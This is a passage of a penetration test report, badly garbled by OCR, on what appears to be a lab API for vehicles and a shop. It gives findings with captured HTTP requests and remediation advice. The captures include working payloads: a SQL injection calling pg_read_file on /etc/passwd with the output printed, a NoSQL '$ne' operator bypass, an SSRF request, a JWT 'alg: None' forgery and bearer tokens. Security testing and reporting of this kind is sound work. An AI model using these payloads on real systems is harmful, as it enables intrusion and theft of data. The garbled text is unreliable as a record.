S User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWsbKit/537.36 (KHTML, like 11 Cross-Origin-Opener-Policy: same-origin
Gecko) Chrome/150.0.0.0 Safari/S37.36 12 Content-Length: 291
5 Content-Type: application/json 13
7 Accept: #/% 14 {
& Referer: http://192.168.56.1:8888/orders?order_id=7 "orders":{
o Accept-Encoding: gzip, deflate, br "id":8,
O Lonnectien.. kgep-alive "user":{
1 Content-Length: 37 "email":"aov@example.com”,
2 "number";"1234567891"
IR T,
"quantity":1000, "product":{
"status":"returnedf vid"
T "name"
price":
"image_url":"images/wheel.sug"
1
"quantity":1000,

"status":"returned",
"transaction_id";"8ff27732-a0958-44b2-a84f-014d5d40bess”,
“created_on":"2026-02-07T02:18: 06, 169932"

AVAILABLE BALANCE: $10100

SOLUTION / REMEDIATION

Centralize all balance calculations and transaction updates within trusted server-side logic governed by strict
business rules. Requests affecting balances should be validated for authenticity, uniqueness, and sequence
correctness, and reconciliation controls should be introduced to detect or prevent duplicate, fabricated, or out-
of-order adjustments.
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Unauthorized Data Modification - Internal Video Resource Properties

AOV-10 Medium Processing Integrity
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; PI1.1 Processing Integrity (optional) | OWASP API Top 10: API3:2023 BOPLA | OWASP Top
10: A01:2021 Broken Access Control; A08:2021 Software and Data Integrity Failures | CWE-915

DESCRIPTION

The APl accepted updates to internal video resource properties that should not have been modifiable by the
requesting user. This weakness enabled unauthorized changes to system-managed attributes and introduced a
risk of improper content manipulation and loss of data integrity.

eyJhbGci101J5UzT1INLIS. ey JzdWI101 Jhb3ZAZXhhbXBs Z55] b201LCIpYXQi0]j E300g3NDUWMDUS I my Connection: keep-alive

Request Response u ==
Pretty Raw Hex W noo= Pretty Raw Hex Render w no =
1 PUT /identity/api/vZ2/user/videos/7 HTTP/1.1 1 HTTP/1.1 200
2 Host: 192,168.56,1:8888 2 Server: openresty/l.27.1.2
3 Content-Length: 52 3 Date: Mon, O7 Sep 2026 02:44:15 GMT
4 Authorization: Bearsr 4 Content-Type: application/json

5

4cCIEMT c40TMOOT gwNSwicmSsZSIEINVz ZXI1TQ. Gthkdiyg_KaWWFSQSBW_YO4A1RY StwYicRiAXCYqK
BGdMIPf dDGONe - 1SKm7u3xKykR0g5$DW:IDt:LH6r1DwrbeICnydSbDGSF10i\‘z haLaxMNUp30qZHZX
KnanZRSRRwSVdfOSlekd-Mj KsbCvzzdtTKkVSPLHxSpVJDCcSS-’ubyTPVgoUKdYSBGhTUglaGKpOWSmc
N-iwQIIBY_SRnKCFYuUgX9nadiot 2kM20v5YWS] 0GhH]j oL_EKGK] AKz O K8ozeKHBHLOzZVt OTy 2EUy Ga
€r_SABDFUY - PNEVET vwOEL uhng fGnET ZXMpO1s 0x s whly Gy VAED] Fy CCED2HFg

. Accept -Language: en-US,en;q=0.9

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64] ApplewebKit/537.36 (KHTHML, like
Gecko) Chrome/150.0.0.0 Safari/537.36

@owm

Content-Type: application/json

2 Accept: */%

S Origin: http://192,168.56.1:8388

10 Referer: http://192,168.56.1:8888/ny-profile
Accept - Encndmg gz1p deflate, br

"yideoName":"hello| jpa",
“conversion params®:*h7"

SOLUTION / REMEDIATION

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

¥-Content-Type-Options: nosniff

X¥-¥55-Protection: O

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: O

Strict-Transpert-Security: max-age=31536000 ; includeSubDomains

& X-Frame-Options: DENY

Content -Length: 123

5

tid"

"v1deo name":"hello.jpa",

“conversion params":"h?".

"profileVideo”: "data:image/]pea; basefd, PDESYCRFROVUNZNG ZF1gPzd="
}

Limit update operations to a clearly defined allow-list of user-editable fields and reject any attempt to modify
internal or system-managed attributes. Separate request DTOs from persistence models, validate payload
structure rigorously, and enforce authorization checks before applying any state-changing operation.

Server-Side Request Forgery - Force Backend HTTP Request to www.google.com

Finding ID CVSS Control Focus

AOV-11 High

External Threat Protection

CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |

REFERENCE

SOC 2 TSC: CC6.6 External Threats; CC6.8 Malicious Software / Unauthorized Code Paths | OWASP API Top 10: API7:2023
SSRF | OWASP Top 10: A10:2021 Server-Side Request Forgery | CWE-918

DESCRIPTION
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User-controlled input was used in a backend request flow that allowed the application to initiate outbound HTTP
requests to arbitrary destinations. This server-side request forgery condition could permit an attacker to
leverage the application as a proxy to probe internal services, access restricted resources, or interact with
unintended external targets.

Request Response a:= =
Pretty  Raw Hex wm @ w = Petty Raw  Hex  Render v @ wn =
1 POST /workshop/api/merchant/contact_mechanic HTTP/1.1 1 HTTP/1.1 2008 0K
2 Host: 192.168.56.1:8888 2 Server: openresty/1.27.1.2
3 Content-Length: 172 3 Date: Mon, OF7 Sep 2026 ©3:06:28 GMT
4 Authorization: Bearer 4 Content-Type: application/json
eyJhbGci0iISUzI1NL IS, ey JzdWIi0iJhb3ZAZxhhbXBsZS5] b201LCIpYX0i0] E30Dg3NDUWHMDUSInY S Connection: keep-alive
AcCIGMTC40TMOOT gwNSwicm9s ZSI6InVZZXI1 O, Otkdiyq_KaWwFS09BW_YQ4AiRvStwYicRiAXCYgK & Allow: POST, OPTIONS

BGdMIPTdDGAMer - 15Kn7u3xKy kROgSSOWc It iHEr 10w ryb OICy fMdShDGIF10Wz_hALaxNUp 30qZHZX 7 Vary: origin, Cookie
KnanZRSRRwSVdfOS1ekd- MjKsbCvzzdt TRk VSPLHx Bp VIOCCS541by TPVgolUK4YSSGh TOgle GRp GWSmc access-control-allow-origin: *
N-iwOITBY 3RnKCFVUlgX9na 410t 2k H20vSYWS] OGhH] ol EKEK] AKz 01 K8ozeKHBH1 0z Vt OTy 2EUy Ga ¥-Frame-Options: DENY
Cr_9ABDFuY - PNEVET vwEL uhng fGmEIZXMp0LsOxs j vNy Gy VAED1Fy CCGD2HFg 10 X-Content-Type-Options: nosniff

w0 o

S Accept-Language: en-US,en;g=0.9 11 Referrer-Policy: same-origin
6 User-Agent: Mozilla/5.0 (X11: Linux x86_64) ApplewesbKit/537.36 (KHTML., like 2 Cross-0rigin-Opener-Policy: same-origin
Gecko) Chromes150,0.0.0 Safaris537.36 13 Content-Length: 85298
7 Content-Type: applicaticn/json 14
8 Accept: #jk 15 {
9 Origin: http://192.168.56.1:8888 "response_from_mechanic_api":
10 Referer: http://192.168.56.1:8888/contact -mechanic ?VIN=P333LY3251P507828 "zldoctype html=<html itemscope=\"\" itemtype=\"http://schema. org/WebPage\"
11 Accept-Encoding: gzip, deflate, br lang="\"en\"><head=<neta content=\"Search the world's information, includin
2 Connectio keep-alive a webpages, images, wideos and more. Google has many special features to he
13 1p you find exactly what you're looking for.\" name=\"description\"=<meta c
14 { ontent=\"noodp, \" name=\"robots\"==meta content=\"textshtml; charset=UTF-8
"mechanic_code®:"TRAC_JHN", W* http-equiv=\"Content-Type\"><meta content=%"/images/branding/googleg/1x/
"problem_details":"hi", googleg_standard_color_128dp.pngh" itemprop=\"image\"=<title=Google</title=
"vin":"P333LY3281P507828", =script nonce=\"ESLvPPHBILASKN- vXzJx0A\ "= function( ) {var _g={kEI:'NCgeap-VM
"mechanic_api":"https://www.google.com", pruruEP7sn0600Q" , kEXPI: ' 0, 4325255, 9708, 344796, 5532800, 594, 458, 34, 58, 5991121,
“repeat_request_if_failed":false, 9, 30819294, 25228681, 123988, 28395, 8939, 56230, 138345, 37500, 107648, 41099, 26230
"number_of_repeats":1 + 25591, 46340, 32560, 6436, 9743, 2646, 4542, 355892, 1, 2, 1515, 3355, 4260, 5170, 19995,
T Bl16,23,772,4074, 4,32545,5337, 2891, 2,11, 2, 8513, 2, 6628, 5773, 7326, 1, 968, 2,147

.15171,194886, 2, 6335, 8496, 4230, 1603, 2, 4981, 1, 8,13529, 6293, 10880, 265, 7110, 517
3, 2676,10681, 9692, 2554, 7, 7180, 3933, 3, 21017368, 4, 2960, 3, 10055, 3,17968, 3, 6512
194, 65,8302, 6881, 1493, 3, 2977, 566, 682, 3, 1568, 222, 3, 2311,571, 3, 497,1234, 774, 28
5,937,597,3,732,1237,1096, 74326, 26,114, 5, 7, 2437704, 1077514, 14013604, 1503665
.1,105680,6,19711,2,326092, 5, 73959, 3588, 244118, 388, 121545, 6565968, 3,6, 1064, 2
+1250,470,6777,7,7,7,16845,7,1240,1109, 4895,531 2, 618, 3904, 484, 5, 8, 1685, 2561
»10575,877,11451,5,5108, 2262, 484, 4, 3815, 251,922, 5, 4025, 1, 10, 6832, 7936, 3396,

SOLUTION / REMEDIATION

Restrict outbound request behavior through strict allow-listing of approved destinations, protocols, and request
patterns. All user-supplied URLs should be normalized and validated, private and link-local address space should
be blocked, and network egress should be constrained wherever feasible to reduce the impact of SSRF exposure.
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NoSQL Injection - Redeem Coupons Without a Valid Coupon Code

AOV-12 High Secure SDLC / Input Validation
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N |
REFERENCE

SOC 2 TSC: CC6.6 External Threats; CC8.1 Change Management / Secure SDLC | OWASP API Top 10: API8:2019 Injection |
OWASP Top 10: A03:2021 Injection | CWE-943

DESCRIPTION

The coupon redemption workflow was susceptible to NoSQL injection because untrusted input could influence
backend query structure. By supplying crafted values, an attacker could alter the intended query logic and
redeem coupons without meeting the application's normal validation requirements.

a- -
Q\nE

Request Response

Raw Hex Render

Pretty Raw Hex w w = Pretty
HTTP/1.1 200 OK

Server: openresty/1.27.1.2

Date: Mon, 07 Sep 2026 04;24:35 GMT

Content -Type: application/json

Connection: keep-alive

Access-Control-Allow-Headers: Accept, Content-Type, Content-Length,

1 POST /community/api/v2/coupon/validate-coupon HTTR/1.1
2 Host: 192.168 56.1:8888
3 Content-Length: 31
4 Authorization: Bearer
eyJhbGei0iJSUZTINI IS, ey JzdWI10i Jhb3ZAZXhhbXESZS5] b201LCIpYXQi0] E30Da3NDUWHDUS ImY

om s W e

AcCIEMTCA0TMOOTgwhSwlcmSsZSIEINVZZXI1T0. Otkdiyq_KaWwFSQOBN_YO4A1RvStwYicRiAXcYgk
BGdMIPTdDGONe r-1SXm7u3xKyk ROgSSONCIDT iHEr 1Dwryb QI Cy FMd ShDGIFi OWz_hALaxNUp30qZHZN
KnanZRSRRwSVd fOS1ekd - M) Ksb Cyzzdt TKkVSPLHx 8pVI0Cc5541by TPVgo UKAY9SGhTOgl e GKpOWSmc
N-1iwQITBY 3RnKCFVullqX@nadi Ot 2kM20v5YWS] OGhH] ol EKEK] AKzG1 K8ozeKHBH1 0z Wt 0Ty 2EUy Ga

Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *

Cr_9ABDFuY - PNEVEIvwOEL uhng fGmEI ZXMpOls0x s vNy Gv VASDLFy CCGD2HFg Content -Length: 79
Accept-Language: en-US,en;g=0.9

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit 537.36 (KHTML, like
Gecko) Chrome/150.0.0.0 Safari/537.36

i
e
Fowoo

1
“coupon_code"; *
“amount":" 75",
"CreatedAt":"2026-09-06T14:55: 28, 981Z"

TRACBTS",

Content -Type: application/json
Accept: */%
Origin: http://192 168.56.1:8888
Referer: http://192,168,56,1:88858/shop 12
Accept-Encoding: gzip, deflate, br
e

oW m

W

"coupon_code": {
"gne":null

SOLUTION / REMEDIATION

Prevent query manipulation by enforcing strongly typed server-side validation and constructing NoSQL queries
from trusted application logic rather than raw client input. Unexpected operators, nested structures, and non-
conforming input shapes should be rejected before any database interaction occurs.
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SQL Injection - Re-redeem an Already Claimed Coupon

AOV-13 High Secure SDLC / Input Validation
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
REFERENCE

SOC 2 TSC: CC6.6 External Threats; CC8.1 Change Management / Secure SDLC; PI1.1 (optional) | OWASP API Top 10:
API8:2019 Injection | OWASP Top 10: A03:2021 Injection | CWE-89

DESCRIPTION

The coupon redemption workflow was vulnerable to SQL injection, allowing attacker-controlled input to modify
the semantics of backend database queries. This exposed the application to unauthorized coupon reuse and
created broader risk to data confidentiality, integrity, and service stability.

Request Response ==
Pretty  Raw  Hex w o= Pretty  Raw Hex  Render ] n =
1 POST /workshop/api/shop/apply_coupon HTTP/1.1 HTTP/1.1 480 Bad Request

2 Host: 192.168.56.1:8888 2 Server: openresty/1.27.1.2

3 Content-Length: 78 3 Date: Mon, 07 Sep 2026 06:35:24 GMT

4

ey JhbGei0ilSUzI1NL IO, ey JzdWIi0iJhh3ZAZXhhbXBsZS5] b201LCIpYXQ1i0j E300g3NDUWMDUsImV Connection: keep-alive
A4cCIEMTcA0TMOOT gwNSwicm9sZSI6InVZZXI1fO, Otkdiyq_KaWNFSOZBN_Y04A1Rv StwYicRIAXCY K Allow: POST, OPTIONS
EGdMSPfdDGANer - 18Xm?u3xKykRDg58DWcID‘t1H6r1DwrybOICnydSbDGQF10A‘2 haLaxNUp 30qZHZX 7 Vary: origiln, Cookie
KnanZRSRRwSVd fOS1ekd- M) KsbCvzzdt TRk VSPLHx 8p VJOCCS541 by TRVgo UKAYSSGhTOgl e GKpGWSmc access-control-allow-origin: *
M-iwQITBY 3RnKCFVUUgX9na4iot 2k H20vSYWS] 0GhH] ol EKEK] AKz Ol K8ozeKHBH1 0z VT OTy 2ELy Ga S X-Frame-Options: DENY

1

Authorization: Bearer 4 Content-Type: application/json
)
8

Cr_946DFuy - PNEVETwwOEL uhngf GmEIZXMp01s0xs j vNy Gy VAGD1Fy CCGD2HFg 10 X-Content -Type-Options: nosniff
5 Accept-Language: en-US,en;g=0.9 11 Referrer-Policy: same-origin
& User-Agent: Mozillas5.0 (¥11l: Linux xB6_64) AppleWebKit/537.36 (KHTML, like 12 Cross-Origin-Opener-Policy: same-origin
Gecko) Chromes150,0.0.0 Safaris537.36 13 Content-Length: 998
7 Content-Type: application/json 14
& Accept: #f# 15 {
9 Origin: http://192.1658 56.1:8888 "message" :
10 Referer: http://192.168.56.1:8888/shop "root:x:0:0:root:/root:/binfbashindaemon:x:1:1 :daemon: /usr/sbin: fusr/sbin/n
11 Accept-Encoding: gzip, deflate, br ologinynbin:x:2:2:bin: /bin: fusr/shin/nologininsys:x:3:3:sys: /dev: /usr/shin/

_____ ive nologininsync:x:4:65534:sync: /bin: /bin/syncingames:x:5:60:ganes: fusr/games:

Jfusr/sbin/nologininman:x:6:12:man: /var/cache/man: fusr/sbin/nologininlp:x:7:
Tilp:/var/spool/Llpd:fusr/sbin/nologinvnmail:x:8:8: mail:svar/mail: fusrsshins

"coupen_code" : "TRACO7S' ; SELECT pg_read_filel'/etc/passwd');--", nologininnews:x:9:9inews: /var/spool/news:/usr/sbin/nologintinuucp:x:10:10:uu
15 “amount " : 75 cp:/var/spool fuucp: fusr/sbin/nologin\nproxy:x:13: 13 proxy: /bin: fusr/sbin/no
H Togin\nwww-data:x:33: 33 www-data: /var/www: fusr/sbin/nologininbackup:x:34: 34

tbackup: /var/backups: /usr/sbin/nologininlist 1x:35:38:Mailing List Manager:/
var/list:/usr/sbin/nologininire:x:39:39ircd: /run/ircd: fusr/sbin/nologinin_
apt:x:42:65534: : /nonexistent: fusr/shin/nologin mnol)ocly X 65534: 65534 nol:o(ly
i/nonexistent: fusr/shin/nologininpostgres:x:999:999: :/var/lib/postaresql: /b
infbash\n Coupon code is already claimed by you!! Please try with another c
oupon code”

SOLUTION / REMEDIATION

Use parameterized queries or prepared statements consistently across all database interactions that incorporate
user input. Supplement this with strict input validation, least-privilege database access, and recurring security
testing of query surfaces to reduce the likelihood of future injection-related defects.
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Missing Authentication - Sensitive API Endpoint Accessible Without Credentials

AOV-14 High Authentication Boundary
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/1:N/A:N |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; CC6.6 External Threats | OWASP API Top 10: API2:2023 Broken Authentication; API8:2023
Security Misconfiguration | OWASP Top 10: A07:2021 Identification and Authentication Failures; A05:2021 Security
Misconfiguration | CWE-306, CWE-287

DESCRIPTION
A sensitive APl endpoint was reachable without enforcing authentication, allowing unauthenticated users to
access functionality that should have been restricted to established user identities. This weakened the

application's access boundary and increased the risk of unauthorized information access or misuse of protected
operations.

1 o 500 95 482
[z 1 200 109 888
3 o 200 43 896
4 3 200 61 896
5] 4 200 98 894
6 5 200 70 893
7 6 200 44 892
8 7 200 61 B84
9 B 200 109 890
10 9 200 40 890
n 10 500 54 482
12 n 500 58 482
Request Response m = =
Pretty Raw Hex B0 \n = Pretty Raw Hex Render 0 o =
1 GET /workshop/apifshop/orderssl HTTR/1.1 T,
2 Host: 152 168.56.1: 8888 "quantity":2,
3 Authorization: Bearer "status":"delivered",
eyJhbGei0iSUzI1INLIIS, ey JzdWIi0iIhb3ZAZXhhbXESZ55] b201iLCIpYX010] E30Dg 3NDUWMDUS "transaction_: 1 "5h328c13-912- 4811 - 8cab-c292bfe70f4c",
ImV4cCIEMTc40TMOOTgwNSwicm9sZSIEInYzZXI1T0, Otkdiyo_KaWWFSOSEW_YO4ALRvStwYicRi "created_on":"2026-09-06T14:56:16,015112"
AXcYqKBGdMIPTdDGENe r - 1S}(m?u3xKykROg55WcID‘t1H6r1DwrybOICy'fMdSbDGSF10Nz hALaxN T,
Up30qZHZ¥KnanZRERRwSVd f0S1ekd - MjKsbCvzzdt TKk VSPLHx 8pVI0CcS541by TPVgoUK4Y99GhT “payment " :{
OgleGKpoWImeN- iwQI IBY_3RNKCFVULIgXS9nadi et 2k M20v5YWS] OGhH]j oL _EKEK] AKzO1 KBozeKHE "transaction_id":"Sh328c13-91f2-4811-8cab-c292bfe70f4c",
H1OzVt OTy2EUyGaCr_9AGDFUY - PNEVEI vwOEl uhngfGmeI ZXMp01s0xsj vNy Gy VABD1Fy CCGD2HFg “order_id":1,
4 Accept-Language: en-US,en:g=0.9 "amount" 20
S User-Agent: Mozilla/5.0 (¥11; Linux x86_64) AppleWebKit/537.36 (KHTML, like "paid_on":"2026-09-06T14:56:16.015112",
Gecko) Chrome/150.0.0.0 Safari/537.36 "card_number": " HHKKXXXKNKKKOS41",
& Content-Type: application/json "card_owner_name":"Adam",
7 Accept: #/% "card_type" a',
& Referer: http://192,168.56,1:8888/orders?order_id=9 "card_expiry":"12/2027",
o Accept-Enceding: gzip, deflate, br "currency":"UsD"
10 Connection: keep-alive T
11 T

SOLUTION / REMEDIATION

Adopt a deny-by-default access model in which all non-public endpoints require authentication unless explicitly
documented otherwise. Authentication enforcement should be applied centrally through middleware or
gateway policy, and regression testing should confirm that protected routes cannot be reached anonymously.
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Broken Authentication - JWT Token Forgery (Algorithm Confusion / JKU / KID)

AOV-15 Critical Authentication / Cryptography
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:H/A:H |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; CC6.2 Credentials; CC6.6 External Threats | OWASP API Top 10: API2:2023 Broken
Authentication | OWASP Top 10: A07:2021 Identification and Authentication Failures; A02:2021 Cryptographic Failures |
CWE-347, CWE-287, CWE-327

DESCRIPTION
JWT validation controls were implemented in a manner that permitted token forgery under conditions such as
algorithm confusion or unsafe key selection handling. An attacker could exploit this weakness to generate tokens
accepted as valid by the application, enabling impersonation of other users and, potentially, privileged
administrative identities.
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/home/kali/.jwt_tool/jwtconf.ini

Request Response ==
Pretty Raw Hex JSON Web Token Pretty Raw Hex Render w no =
WT | 1- eylhbGeiOiOb25n0.cylzdWIiCIJ0ZXNOQGVAYWIwbGULY2StiwiaWFO jox . v | L Mo

! Server: openresty/1.27.1.2
3 Date: Mon, OF Sep 2026 08:01:09 GMT
Content-Type: application/json
Connection: keep-alive
5 Vary: Origin
< 7 Vary: Access-Control-Request-Method
Copy Decrypt Verify 2 Vary: Access-Control-Reguest-Headers
9 X-Content-Type-Options: nosniff
10 X-XS5-Protection: ©

Serialized IWT

s JWE 11 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
T— 12 Pragma: no-cache
Header 15 Expires: 0
{ Format JSOM 14 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
alg": "None" 15 X-Frame-Options: DENY
- Compact JSON 16 Content-Length: 227
T -
18 {
Payload widv:a,
{ Format JSON "name":"Test",
< 1 "test@example.com", " "1 "test@example. com”,
fat: 1788745085, Compact JSON number ;" 9876540001" ,
“picture_url®:null,
3 = . "wideo_url" ata:image/jpeg:basesd, TenvnC+THY XY Dw==",
Signature Information yiden e deo®
42 D9 1D BB 2A BF 25 AS 96 17 94 3 wrn vmilEble ot :?JE-"HED :
B0 22 46 F4 AD Cl 88 OC 46 20 17 7 |3 »IssuedAt- MonSep07202601:36:45 GMT T it":100.0.
O PR A
Attack Sign Encrypt Sendto Tokens @®©® € > seanh £ 0 highlights

SOLUTION / REMEDIATION
Centralize JWT validation and require signatures to be verified only against trusted keys using a pinned and
explicitly approved algorithm. Disable or tightly constrain dynamic key resolution behaviors such as untrusted

JKU or KID processing, reject unexpected header combinations, and ensure signing keys are securely stored,
rotated, and monitored.
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Appendix A - SOC 2 Trust Services Criteria Mapping

The following table maps each finding in this report to the AICPA Trust Services Criteria most applicable to SOC 2

Type | and Type Il examinations. The mapping is intended to help organizations use this assessment as

supporting evidence for vulnerability identification, logical access, secure change practices, and related control

objectives.

Broken Object Level Authorization -
Vehicle Location and Owner PlII

Broken Object Level Authorization -
Mechanic Service Reports

Broken Authentication - Cross-User
Password Reset via OTP Brute Force

Excessive Data Exposure - Other Users'
Sensitive Information Leakage

Excessive Data Exposure - Internal Video
Property Disclosure

Unrestricted Resource Consumption -
Layer 7 DoS via Contact Mechanic

Broken Function Level Authorization -
Delete Another User's Video

Unauthorized Transaction Manipulation
- Obtain Shop Item Without Valid Return

Unauthorized Transaction Manipulation
- Inflate Account Balance by $1,000+

High

High

Critical

High

Medium

Medium

High

High

High

CC6.1, CC6.6, CC7.1

CC6.1, CC6.6, CC7.1

CC6.1, CC6.2, CC6.6,
CC7.1

CC6.7,C1.1,CC7.1

CC6.7,C1.1,CC7.1

A1.1,A1.2,CC7.1

CC6.1, CC6.3,CC7.1

CC6.1, PI1.1,CC7.1

CCe.1, PI1.1, CC7.1

Access to user-linked vehicle
and account data is
restricted to authorized
subjects and weaknesses are
identified through testing.

Service records are protected
from unauthorized cross-
user access and logical access
controls are validated.

Identity verification
mechanisms resist abuse and
account recovery controls
prevent unauthorized access.

Sensitive information is
limited to authorized
disclosures and data
movement controls support
confidentiality.

Internal application data is
minimized in client-facing
responses and confidentiality
controls reduce unnecessary
exposure.

Capacity and operational
resilience controls reduce
the risk of application-layer
resource exhaustion.

Privileged actions are
restricted to authorized
users and access changes are
governed appropriately.

Business workflows enforce
authorized state transitions
and preserve processing
integrity.

Transaction processing
preserves the integrity of
financial or value-bearing
state changes.
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Data modifications are

Unauthorl'zed Data Modlflcatlon.- Medium CC6.1, PI1.1, CC7.1 limited to aut.horlzgd
Internal Video Resource Properties changes and integrity-related

controls are enforced.

The environment resists
Server-Side Request Forgery - Force external attack paths and
Backend HTTP Request to High CC6.6, CC6.8,CC7.1  constrains unauthorized
www.google.com code or request execution

paths.

Application changes and
NoSQL Injection - Redeem Coupons High CC6.6, CC8.1, CC7.1 input handling controls

reduce the likelihood of
injection vulnerabilities.

Without a Valid Coupon Code

Secure development and

data integrity controls

SQL Injection - Re-redeem an Already CC6.6, CC8.1, PI1.1,

Claimed Coupon High cc71 mltlgate |Qject|on—dr|ven
manipulation of backend
processing.

Protected functionality
. L . requires authenticated
M Auth - API
|55|ng ut ent.lcatlon. sensitive . High CC6.1, CC6.6, CC7.1  access and logical security

Endpoint Accessible Without Credentials . .
boundaries are consistently
enforced.

Credential and token

Broken Authentication - JWT Token validation controls prevent

i .2 .
Forgery (Algorithm Confusion / JKU / Critical cce.1, CC6.2, CC6.6, unauthorized identity
CC7.1 . L
KID) assertion and privileged

impersonation.
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Appendix B - Severity Methodology

Critical

Vulnerability presents immediate and material risk to the organization, often enabling broad
compromise of sensitive data, administrative control, or core service functionality with minimal attacker
constraints.

High

Vulnerability introduces significant risk and is generally exploitable without requiring a chain of
dependent weaknesses. Representative examples include authentication bypass, cross-user access, or
unauthorized privileged actions.

Medium

Vulnerability presents meaningful security risk but typically requires additional conditions, context, or
chaining to produce serious business impact. Examples include limited-scope privilege abuse, moderate
data exposure, or abuse of insufficiently protected workflows.

Low

Vulnerability represents limited standalone impact or requires multiple additional weaknesses to
become operationally significant. Typical examples include minor information disclosure or defense-in-
depth gaps.

Informational

Finding does not present direct exploitable impact but reflects a best-practice gap, hardening
opportunity, or control improvement area that may reduce future risk exposure.
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